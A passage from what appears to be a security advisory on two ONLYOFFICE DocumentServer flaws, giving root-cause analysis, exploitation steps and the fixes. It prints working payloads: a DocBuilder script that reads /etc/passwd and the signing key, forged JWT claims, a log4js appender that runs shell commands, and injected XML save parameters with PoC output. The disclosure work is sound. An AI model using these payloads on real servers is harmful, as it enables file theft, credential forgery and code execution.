}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>builderRequest()</span></span><span style='font-size: undefined;'> delegates JWT validation to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>getRequestParams()</span></span><span style='font-size: undefined;'>. That function's query-token branch checks the signature using the Inbox key:</span></p><pre language="javascript">if (tenTokenEnableRequestInbox) {
  res.code = constants.VKEY;
let checkJwtRes;
if (res.params.token) {
// [2] Inbox signature check
checkJwtRes = yield checkJwt(ctx, res.params.token, commonDefines.c_oAscSecretType.Inbox);
  } else {
    checkJwtRes = yield checkJwtHeader(ctx, req);
  }
// ... remaining validation and decoded-claim handling omitted ...
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>A view-only Editor JWT passes the signature check at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> because Browser validation uses the same key. The check does not require the JWT to have been issued specifically for DocBuilder.</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> treats the POST body as a DocBuilder script. After the JWT check above succeeds, that script can call </span><a href="https://github.com/ONLYOFFICE/core/blob/v9.4.0.129/DesktopEditor/doctrenderer/embed/NativeControlEmbed.cpp#L61-L99"><span style='font-size: undefined;'>GetFontBinary()</span></a><span style='font-size: undefined;'> with a supplied filename:</span></p><pre language="c">std::wstring sFile = file-&gt;toStringW();
bool bIsFullFilePath = (std::wstring::npos != sFile.find('\\') || std::wstring::npos != sFile.find('/'));
if (bIsFullFilePath)
{
    bIsFullFilePath = NSFile::CFileBinary::Exists(sFile); // [3] Path existence check
}

// ... font-map fallback omitted ...

return CJSContext::createUint8Array(sFile); // [4] Return file bytes</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetFontBinary()</span></span><span style='font-size: undefined;'> accepts an existing absolute path at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> and returns its bytes at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'>. Ssani4 previously reported this native file-read behavior in </span><a href="https://github.com/ONLYOFFICE/DocumentBuilder/issues/147"><span style='font-size: undefined;'>DocumentBuilder issue #147</span></a><span style='font-size: undefined;'> on November 21, 2025. That report explicitly identified </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetFontBinary()</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ZipFileAsString()</span></span><span style='font-size: undefined;'> and used a Session JWT obtained from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/downloadas</span><span style='font-size: undefined;'> to authorize </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'>. ONLYOFFICE closed the issue as fixed in DocumentBuilder </span><span style='font-size: undefined;'><span data-type='inlineCode'>9.2.0</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 reproduced </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetFontBinary()</span></span><span style='font-size: undefined;'> file reads in 9.4.0-129 using a view-only Editor JWT, then demonstrated session-signing-key theft and token forgery. The native read itself was previously reported; the analysis here documents its continued exposure through that entry point and its role in the subsequent chains.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Reading a server file</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker submits a DocBuilder script using a JWT issued for view-only access to any document. The request fragment is:</span></p><pre language="html">POST /docbuilder?token=VIEW_ONLY_EDITOR_JWT HTTP/1.1
Host: docs.example.test
Content-Type: application/octet-stream

builder.CreateFile("docx");
var bytes = native.GetFontBinary("/etc/passwd");
if (bytes === null || typeof bytes === "undefined") throw new Error("read failed");
var hex = "";
for (var i = 0; i &lt; bytes.length; i++)
    hex += ("0" + bytes[i].toString(16)).slice(-2);
var paragraph = Api.CreateParagraph();
paragraph.AddText("R7FILE:" + hex + ":END");
Api.GetDocument().Push(paragraph);
builder.SaveFile("docx", "stolen.docx");
builder.CloseFile();</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>DocumentServer executes the script as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ds</span><span style='font-size: undefined;'> and returns a URL for </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>stolen.docx</span></span><span style='font-size: undefined;'>. The PoC downloads </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>stolen.docx</span><span style='font-size: undefined;'>, extracts the hex between </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>R7FILE:</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>:END</span></span><span style='font-size: undefined;'> from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>word/document.xml</span></span><span style='font-size: undefined;'>, and decodes it to recover the contents of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/etc/passwd</span></span><span style='font-size: undefined;'>. Hex encoding supports binary files; the delimiters let the extractor locate the payload and reject output missing either boundary.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Stealing the session signing key</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker repeats the same request for </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/etc/onlyoffice/documentserver/local.json</span></span><span style='font-size: undefined;'>. In the tested configuration, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>services.CoAuthoring.secret.session.string</span></span><span style='font-size: undefined;'> contained the Session JWT signing key. If </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>services.CoAuthoring.secret.session.file</span></span><span style='font-size: undefined;'> instead names a key file, the attacker reads that file with the same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GetFontBinary()</span></span><span style='font-size: undefined;'> request.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Forging a save credential</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker chooses the document key, permissions and user ID, then signs the following claims with the stolen Session JWT key using HMAC-SHA256. For this save operation, the user ID does not need to correspond to an existing account:</span></p><pre language="json">{
  "document": {
    "key": "external-document-20260821",
    "permissions": {
      "download": true,
      "print": true
    }
  },
  "editorConfig": {
    "user": {
      "id": "rapid7-poc",
      "index": 1
    }
  },
  "iat": 1787329293,
  "exp": 1787329593
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker submits a normal </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SAVE_TYPE_PART_START</span></span><span style='font-size: undefined;'> request using the forged JWT and an attacker-chosen document key. DocumentServer returns a server-generated save key, proving that it accepts the forged credential and its ungranted document permissions.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>PoC</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs/blob/main/pocs/editor_token_docbuilder_jwt_forgery.py"><span style='font-size: undefined;'>file-read and JWT-forgery PoC</span></a><span style='font-size: undefined;'> uses a view-only Editor JWT to read </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/etc/passwd</span></span><span style='font-size: undefined;'>, steal the Session JWT signing key and verify a forged token for an attacker-chosen document key:</span></p><pre language="shell-session">python3 pocs/editor_token_docbuilder_jwt_forgery.py \
  --documentserver https://docs.example.test \
  --token-file /secure/view-only.jwt \
  --read-file /etc/passwd \
  --read-output /tmp/stolen-passwd \
  --document-key external-document-20260821 \
  --output-token /tmp/forged-session.jwt \
  --timeout 180</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Output excerpt:</span></p><pre language="shell-session">[+] read 1220 bytes from /etc/passwd to /tmp/stolen-passwd
[+] forged session JWT accepted for document key: external-document-20260821 (save key _7717)
[+] forged JWT written to: /tmp/forged-session.jwt
[+] forged JWT (expires at Unix time 1787329593):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkb2N1bWVudCI6eyJrZXkiOiJleHRlcm5hbC1kb2N1bWVudC0yMDI2MDgyMSIsInBlcm1pc3Npb25zIjp7ImRvd25sb2FkIjp0cnVlLCJwcmludCI6dHJ1ZX19LCJlZGl0b3JDb25maWciOnsidXNlciI6eyJpZCI6InJhcGlkNy1wb2MiLCJpbmRleCI6MX19LCJpYXQiOjE3ODczMjkyOTMsImV4cCI6MTc4NzMyOTU5M30.VlXcl09_669zHtwiJFZDLFRtQbi_HTt7zncmPYUHLww</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The file recovered to the attacker's machine contained the target's account data:</span></p><pre language="html">$ head -n 5 /tmp/stolen-passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The JWT printed above was signed with the key recovered from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>local.json</span></span><span style='font-size: undefined;'>. DocumentServer accepted that signature during the normal save-key reservation:</span></p><pre language="json">{"status":"ok","data":"_7717"}</pre><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker can steal any file readable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>. On the tested system, this included the Session JWT signing key, allowing the attacker to create credentials with document keys and permissions that were never granted to the original viewer. DocumentServer accepted the forged JWT for a save operation under a new document key. The demonstrated unauthorized save accounts for the low integrity impact in the </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"><span style='font-size: undefined;'><strong>7.1 High</strong></span></a><span style='font-size: undefined;'> score.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The same editor-JWT authorization failure also allowed a view-only user to supply a private-network URL to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Api.CreateImage()</span></span><span style='font-size: undefined;'>. DocumentServer fetched the URL and returned a decodable image inside a generated DOCX. This narrower consequence shares the authorization root cause above and is not treated as a separate finding.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>In 10.0.0-169, </span><a href="https://github.com/ONLYOFFICE/server/blob/v10.0.0.169/DocService/sources/converterservice.js#L500-L512"><span style='font-size: undefined;'>builderRequest()</span></a><span style='font-size: undefined;'> now tells the token validator that this is a DocBuilder request:</span></p><pre language="diff">-const authRes = yield docsCoServer.getRequestParams(ctx, req);
+authRes = yield docsCoServer.getRequestParams(ctx, req, constants.JWT_PURPOSE_DOCBUILDER);</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>With the default settings, the new </span><a href="https://github.com/ONLYOFFICE/server/blob/v10.0.0.169/DocService/sources/jwtService.js#L51-L112"><span style='font-size: undefined;'>check</span></a><span style='font-size: undefined;'> rejects tokens containing document-opening fields such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>editorConfig</span></span><span style='font-size: undefined;'> and WOPI </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>fileInfo</span></span><span style='font-size: undefined;'>, even if their signatures are valid. This blocks reuse of a view-only Editor JWT at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'>, as confirmed in the 10.0.0-169 test.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/ONLYOFFICE/core/blob/v10.0.0.169/DesktopEditor/doctrenderer/embed/NativeControlEmbed.cpp#L81-L119"><span style='font-size: undefined;'>native file-read code</span></a><span style='font-size: undefined;'> also checks supplied paths against the font map in server mode. An unknown path falls back to the default font rather than being read as the requested file.</span></p><h2 style="direction: ltr;">DocBuilder conversion parameter injection enables code execution (CVE-2026-110385)</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A DocBuilder script can replace the source path, destination path, and formats chosen by DocumentServer, extracting attacker-controlled files into any existing directory writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>. In the tested release, extracting a log4js appender and runtime configuration into the Data directory causes DocService to load and execute attacker code without a restart.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Technical analysis</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Prerequisite:</strong></span><span style='font-size: undefined;'> The attacker needs a request accepted by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'>. The destination directory must already exist and be writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>. Immediate process execution additionally requires a writable directory containing a runtime configuration watched by DocService; the default Data directory in the tested official image met this condition.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The DocBuilder text-script dispatcher in </span><a href="https://github.com/ONLYOFFICE/core/blob/v9.4.0.129/DesktopEditor/doctrenderer/docbuilder_p.cpp#L1506-L1521"><span style='font-size: undefined;'>CDocBuilder::RunTextA()</span></a><span style='font-size: undefined;'> forwards the optional third </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>builder.SaveFile()</span></span><span style='font-size: undefined;'> argument without restricting it to supported conversion options:</span></p><pre language="c">const wchar_t* sParams = NULL;
if (nCountParameters &gt; 2)
    sParams = _builder_params[2].c_str(); // [0] Caller-supplied XML

// [1] Forward conversion parameters
int nSaveError = this-&gt;SaveFile(nFormat, _builder_params[1].c_str(), sParams);</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The third argument at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'> reaches the private save implementation unchanged at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><a href="https://github.com/ONLYOFFICE/core/blob/v9.4.0.129/DesktopEditor/doctrenderer/docbuilder_p.h#L1057-L1085"><span style='font-size: undefined;'>CDocBuilder_Private::SaveFile()</span></a><span style='font-size: undefined;'> XML-encodes its own source and destination paths, but then appends the attacker string as raw XML:</span></p><pre language="c">oBuilder.WriteString(L"&lt;?xml version=\"1.0\" 
encoding=\"utf-8\"?&gt;&lt;TaskQueueDataConvert&gt;&lt;m_sFileFrom&gt;");
oBuilder.WriteEncodeXmlString(m_sFileDir); // [2] Encode source path
oBuilder.WriteString(sFileBin + L"&lt;/m_sFileFrom&gt;&lt;m_sFileTo&gt;");
oBuilder.WriteEncodeXmlString(_path); // [3] Encode destination path
oBuilder.WriteString(L"&lt;/m_sFileTo&gt;&lt;m_nFormatTo&gt;");
oBuilder.WriteString(std::to_wstring(type));

// ... remaining server-generated fields omitted ...

if (!sConvertionParams.empty())
{
    oBuilder.WriteString(sConvertionParams); // [4] Append raw XML
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The paths at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> are XML-encoded, but the raw XML appended at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> can introduce duplicate task fields after the server-generated values.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>X2T's </span><a href="https://github.com/ONLYOFFICE/core/blob/v9.4.0.129/X2tConverter/src/cextracttools.h#L697-L720"><span style='font-size: undefined;'>InputParams parser</span></a><span style='font-size: undefined;'> processes elements sequentially and replaces an existing value whenever the same name appears again:</span></p><pre language="c">else if (_T("m_sFileFrom") == sName)
{
    RELEASEOBJECT(m_sFileFrom);
    m_sFileFrom = new std::wstring(sValue); // [5] Replace source path
}
else if (_T("m_sFileTo") == sName)
{
    RELEASEOBJECT(m_sFileTo);
    m_sFileTo = new std::wstring(sValue); // [6] Replace destination path
}
else if (_T("m_nFormatFrom") == sName)
{
    RELEASEOBJECT(m_nFormatFrom);
    m_nFormatFrom = new int(XmlUtils::GetInteger(sValue)); // [7] Replace source format
}
else if (_T("m_nFormatTo") == sName)
{
    RELEASEOBJECT(m_nFormatTo);
    m_nFormatTo = new int(XmlUtils::GetInteger(sValue)); // [8] Replace destination format
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Assignments </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[5]</span></span><span style='font-size: undefined;'>–</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[8]</span></span><span style='font-size: undefined;'> let later XML elements replace the server-selected paths and formats. </span><a href="https://github.com/ONLYOFFICE/core/blob/v9.4.0.129/X2tConverter/src/cextracttools.h#L1197-L1206"><span style='font-size: undefined;'>getConversionDirection()</span></a><span style='font-size: undefined;'> maps source format </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2057</span></span><span style='font-size: undefined;'> (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AVS_OFFICESTUDIO_FILE_OTHER_ZIP</span></span><span style='font-size: undefined;'>) and destination format </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0</span><span style='font-size: undefined;'> (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>AVS_OFFICESTUDIO_FILE_UNKNOWN</span></span><span style='font-size: undefined;'>) to the directory-extraction operation:</span></p><pre language="c">else if (AVS_OFFICESTUDIO_FILE_OTHER_ZIP == nFormatFrom &&
         AVS_OFFICESTUDIO_FILE_UNKNOWN == nFormatTo)
    eRes = TCD_UNZIPDIR; // [9] Directory extraction mode</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The extraction mode selected at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[9]</span></span><span style='font-size: undefined;'> reaches </span><a href="https://github.com/ONLYOFFICE/core/blob/v9.4.0.129/X2tConverter/src/ASCConverters.cpp#L2034-L2042"><span style='font-size: undefined;'>x2t()'s conversion dispatcher</span></a><span style='font-size: undefined;'>, which uses both attacker-selected paths without containment validation:</span></p><pre language="c">case TCD_UNZIPDIR:
{
    result = zip2dir(sFileFrom, sFileTo); // [10] Extract archive
}
break;</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>zip2dir()</span></span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[10]</span></span><span style='font-size: undefined;'> reads the attacker-selected archive and extracts it into the selected directory writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Writing DocService's runtime configuration provides a route from this file write to code execution. </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/Common/sources/runtimeConfigManager.js#L148-L157"><span style='font-size: undefined;'>runtimeConfigManager</span></a><span style='font-size: undefined;'> watches the configuration directory and automatically reloads </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>runtime.json</span></span><span style='font-size: undefined;'> when it is created or changed, passing its attacker-controlled log options to the logger:</span></p><pre language="javascript">getConfig(operationContext.global)
  .then(config =&gt; {
    logger.configureLogger(config?.log?.options); // [11] Reload logging options
})</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Those options reach </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/Common/sources/logger.js#L90-L92"><span style='font-size: undefined;'>configureLogger()</span></a><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[11]</span></span><span style='font-size: undefined;'>; the function merges them with the cached configuration before calling log4js:</span></p><pre language="javascript">function configureLogger(options) {
const mergedOptions = config.util.extendDeep({}, cachedLogConfig, options);
  log4js.configure(mergedOptions); // [12] Apply log4js configuration
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The configuration applied at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[12]</span></span><span style='font-size: undefined;'> sets the appender </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>type</span><span style='font-size: undefined;'> to the extracted JavaScript module's absolute path. The log4js 6.9.1 appender loader </span><a href="https://github.com/log4js-node/log4js-node/blob/v6.9.1/lib/appenders/index.js#L36-L50"><span style='font-size: undefined;'>passes non-core types to require()</span></a><span style='font-size: undefined;'>, executing that module in DocService.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Preparing the payload files</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>To run </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>id</span></span><span style='font-size: undefined;'>, the inner ZIP named </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>r7-NONCE.zip</span></span><span style='font-size: undefined;'> contains </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>r7-appender-NONCE.js</span></span><span style='font-size: undefined;'>:</span></p><pre language="javascript">require("child_process").execFile(
  "/bin/sh", ["/var/www/onlyoffice/Data/r7-command-NONCE.sh"]
);
exports.configure = () =&gt; () =&gt; {};</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>r7-command-NONCE.sh</span></span><span style='font-size: undefined;'>:</span></p><pre language="bash">#!/bin/sh
id &gt; /tmp/r7-command-NONCE 2&gt;&1</pre><p style="direction: ltr;"><span style='font-size: undefined;'>The shell script is a PoC convenience: </span><a href="https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback"><span style='font-size: undefined;'>execFile()</span></a><span style='font-size: undefined;'> also supports </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/bin/sh</span></span><span style='font-size: undefined;'> with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>["-c", "id &gt; /tmp/r7-command-NONCE 2&gt;&1"]</span></span><span style='font-size: undefined;'>. Keeping the command in a file lets the root-helper chain reuse it without embedding the command body in the sed expression.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>And </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>runtime.json</span></span><span style='font-size: undefined;'>:</span></p><pre language="json">{"log":{"options":{"appenders":{"default":{"type":"/var/www/onlyoffice/Data/r7-appender-NONCE.js"}},"categories":{"default":{"appenders":["default"],"level":"WARN"}}}}}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker places that inner ZIP inside a second ZIP and base64-encodes the outer ZIP.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Staging the inner ZIP</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker submits the outer ZIP in a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> script. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>native.SetFilePath()</span></span><span style='font-size: undefined;'> selects </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/tmp</span></span><span style='font-size: undefined;'> as the native ZIP worker directory, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>native.ZipOpenBase64()</span></span><span style='font-size: undefined;'> extracts the inner ZIP as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/tmp/nativeZip/r7-NONCE.zip</span></span><span style='font-size: undefined;'>:</span></p><pre language="javascript">builder.CreateFile("docx");
native.SetFilePath("/tmp/r7-NONCE-placeholder");
native.ZipOpenBase64("BASE64_OUTER_ZIP_CONTAINING_r7-NONCE.zip");</pre><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Extracting outside the job directory</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The same request calls </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>builder.SaveFile()</span></span><span style='font-size: undefined;'> with duplicate X2T task fields appended as conversion parameters:</span></p><pre language="javascript">builder.SaveFile(
  "docx",
  "safe.docx",
  "&lt;m_sFileFrom&gt;/tmp/nativeZip/r7-NONCE.zip&lt;/m_sFileFrom&gt;" +
  "&lt;m_sFileTo&gt;/var/www/onlyoffice/Data&lt;/m_sFileTo&gt;" +
  "&lt;m_nFormatFrom&gt;2057&lt;/m_nFormatFrom&gt;&lt;m_nFormatTo&gt;0&lt;/m_nFormatTo&gt;"
);
builder.CloseFile();</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>DocumentServer accepts the request and extracts all three files with attacker-controlled names and bytes into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/www/onlyoffice/Data</span></span><span style='font-size: undefined;'> as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ds</span><span style='font-size: undefined;'>. Writing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>runtime.json</span></span><span style='font-size: undefined;'> triggers the watcher, which loads </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>r7-appender-NONCE.js</span></span><span style='font-size: undefined;'> and executes the command in DocService as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ds</span><span style='font-size: undefined;'> without a restart.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>PoC</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Run the </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs/blob/main/pocs/docbuilder_savefile_params_rce.py"><span style='font-size: undefined;'>DocBuilder PoC</span></a><span style='font-size: undefined;'> with a view-only Editor JWT. The example uses </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>--runtime-absent</span></span><span style='font-size: undefined;'> because the tested installation had no </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>runtime.json</span></span><span style='font-size: undefined;'>:</span></p><pre language="shell-session">python3 pocs/docbuilder_savefile_params_rce.py \
  --documentserver https://docs.example.test \
  --token-file /secure/view-only.jwt \
  --command id \
  --runtime-absent</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Output:</span></p><pre language="html">uid=101(ds) gid=102(ds) groups=102(ds)</pre><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>On the tested release, a user restricted to viewing any document can write files anywhere writable by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'> and immediately execute arbitrary JavaScript in DocService. CVE-2026-110385 has a published </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-110385"><span style='font-size: undefined;'>CVSS v4.0 score of </span><span style='font-size: undefined;'><strong>8.7 High</strong></span></a><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/ONLYOFFICE/core/blob/v10.0.0.169/DesktopEditor/doctrenderer/docbuilder_p.h#L1174-L1178"><span style='font-size: undefined;'>10.0.0-169 SaveFile() implementation</span></a><span style='font-size: undefined;'> filters the supplied conversion parameters before adding them to the X2T task:</span></p><pre language="diff">-sConvertionParams = std::wstring(params);
